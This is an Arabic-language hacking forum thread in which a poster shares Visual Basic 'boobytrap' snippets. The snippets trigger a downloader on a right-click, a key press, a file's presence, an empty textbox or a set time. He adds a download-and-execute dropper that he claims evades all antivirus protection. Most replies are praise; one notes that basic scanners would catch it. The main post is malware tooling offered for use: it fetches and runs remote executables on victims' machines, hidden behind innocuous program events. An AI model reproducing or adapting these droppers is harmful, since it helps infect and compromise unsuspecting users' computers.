1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : عـقرب الـنجف | المشاهدات : 730 | الردود : 27
حالة الموضوع:
مغلق
  1. عـقرب الـنجف DeveloPer Plus

    الأنتساب:
    ‏5 يونيو 2015
    المشاركات:
    299
    الإعجابات المتلقاة:
    171
    نقاط الجائزة:
    105
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    [​IMG]
    كيف الحال اخواني واخواتي ان شاء الله الجميع ب خير وب تمام الصحة والعافية
    رمضان كريم علينا وعليكم وصيام مقبول للجميع ان شاء الله
    [​IMG]
    طبعا في البداية حاب اكول بعض الكلام
    اسف عن الانقطاع الطويل لاكن بسبب كثرة الاعمال والمشاغل واشياء اخرى
    [​IMG]
    اخواني واخواتي اليوم عندي شي ان شاء الله يعجبكم
    موضوع جميل + مهم + جديد ب أذن الله تعالى
    [​IMG]
    لا احب الاطالة اترككم مع الاكواد
    [​IMG]
    1- اضافة حدث عند الضغط على زر الماوس الايمن
    كود:
    Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) 
    
    
    IF BUTTON=2 THEN 
    كود الداونلودر الخاص بك
    END IF 
    End Sub
    
    *=== تحديد كود ===*

    [​IMG]
    2- التحقق من وجود ملف تحدده انت
    كود:
    If Dir("c:\test.txt", vbNormal or vbReadOnly or vbHidden or vbSystem or vbArchive) = "" then 
    كود الداونلودر الخاص بك
    End If
    غير ال c:\test.txt ب امتداد الملف الذي تريده
    
    *=== تحديد كود ===*

    [​IMG]
    3- تلغيمة تعتمد على الضغط على f9 او f10
    كود:
    Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
    If KeyCode = 120 Then
    كود الداونلودر الخاص بك
    End If
    
    
    If KeyCode = 121 Then
    كود الداونلودر الخاص بك
    End If
    End Sub
    
    *=== تحديد كود ===*


    [​IMG]
    4- تشغيل السيرفر عند ما يكون ال textbox خالياً
    كود:
    if (textbox1.text="") then
    كود الداونلودر الخاص بك
    end if
    
    *=== تحديد كود ===*


    [​IMG]
    5- كود تشغيل السيرفر في وقت محدد
    كود:
    Private Sub Form_Load() 
    
    
    If Time <= "11:30 AM" Then 
    كود الداونلودر الخاص بك
    End 
    End If 
    
    *=== تحديد كود ===*

    [​IMG]
    وفي الختام لدي كود داونلودر هدية لكم )4:"
    الكود يتخطى جميع الحمايات ويعطيك ناتج كلين وشغال ومجرب
    [​IMG]
    انشأ مودل جديد وضع الكود بداخله
    كود:
    try
    dim a as string = "الداونلودر"
    dim b as string = "اسم العمليه.exe"
    my.computer.network.downloadfile(a,b)
    process.srart(b)
    catch ex as exception
    end try
    end 
    end sub
    end module
    
    *=== تحديد كود ===*


    [​IMG]
    الى الجميع بدون استثناء
    [​IMG]
     
  2. غاوي هكر DeveloPer Plus

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    215
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    50
    الإقامة:
    فلسطين
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    يسلمووووو ايديك يا بطل شرح بجد متعوب عليه يعطيك الف عافية


    عااااشت ايديك
     
  3. غاوي هكر DeveloPer Plus

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    215
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    50
    الإقامة:
    فلسطين
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    واحلا تقيم يا عسل
     
  4. k!lwa s&rian ro0t مراقب عآم

    الأنتساب:
    ‏3 أغسطس 2014
    المشاركات:
    743
    الإعجابات المتلقاة:
    1,235
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    احلى لايك لعيونك
    ملك حبيبي
    مشكور
     
  5. عـقرب الـنجف DeveloPer Plus

    الأنتساب:
    ‏5 يونيو 2015
    المشاركات:
    299
    الإعجابات المتلقاة:
    171
    نقاط الجائزة:
    105
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    وايدك حبيبي الغالي
    تسلم حبيبي مشكور ع ردك الجميل
    مشكور ع التقييم يا غالي الله يعافيك
     
  6. عـقرب الـنجف DeveloPer Plus

    الأنتساب:
    ‏5 يونيو 2015
    المشاركات:
    299
    الإعجابات المتلقاة:
    171
    نقاط الجائزة:
    105
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    تسلم حبيبي ما قصرت
    ولو تدلل يا غالي
    مشكور ع مرورك
     
  7. !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм مراقب عآم

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    638
    الإعجابات المتلقاة:
    1,416
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    عاشت الايداي خويه شروط جميله
     
  8. عـقرب الـنجف DeveloPer Plus

    الأنتساب:
    ‏5 يونيو 2015
    المشاركات:
    299
    الإعجابات المتلقاة:
    171
    نقاط الجائزة:
    105
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    وايدك حبيبي بكر نورت يا غالي
     
  9. (¯»Asaad««JaCkIe»¯) Developer

    الأنتساب:
    ‏19 يناير 2015
    المشاركات:
    48
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    عاـأشت أيدك يـأبطل لاتحـرمنأ من جديدك
     
  10. TeePlow V • I • P

    الأنتساب:
    ‏12 مارس 2014
    المشاركات:
    401
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    50
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    السلام عليكم
    بارك الله فيك اخي الكريم لاكن هذه التلغيمات لا تمر على ابسط الفاحصين



    تقبل مروري
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة